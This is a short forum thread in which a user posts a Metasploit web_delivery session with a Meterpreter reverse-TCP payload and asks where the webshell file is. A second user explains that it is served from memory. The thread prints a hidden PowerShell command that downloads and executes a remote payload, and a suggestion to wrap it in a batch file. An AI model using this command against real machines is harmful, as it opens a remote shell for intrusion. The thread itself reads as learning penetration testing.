Where does metasploit create webshell ?!

[pierre]

Hello, I want the victim to download a webshell by connecting on my apache webserver. Everythings seems well but when I create the webshell, I don't know where it is ..... Look :

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none)
LHOST 192.168.0.1 yes The listen address
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
2 PSH

msf exploit(web_delivery) > exploit [*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.1:4444 [*] Using URL: http://0.0.0.0:8080/6PXdn4l [*] Local IP: http://127.0.0.1:8080/6PXdn4l [*] Server started. [*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.1:8080/6PXdn4l'))
msf exploit(web_delivery) > [*] 192.168.0.2 web_delivery - Delivering Payload

After I have to put the webshell at /var/www/html on my attack computer but I can't find it.....

root@osboxes:/# locate powershell.exe
root@osboxes:/#

Nothing return....

Have you got solutions ??

[digininja]

I would assume that it serves it from memory. Powershell is a Windows technology not a linux one, the command it gives is to attach to the shell from a Windows box.

[pierre]

Sorry, I misunderstand what I was doing.

I woukd have create a file .bat and paste the line :

"powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.1:8080/uochXT'))"

:)

[digininja]

You don't have to create a bat file, you can just run it from the command line or the run menu.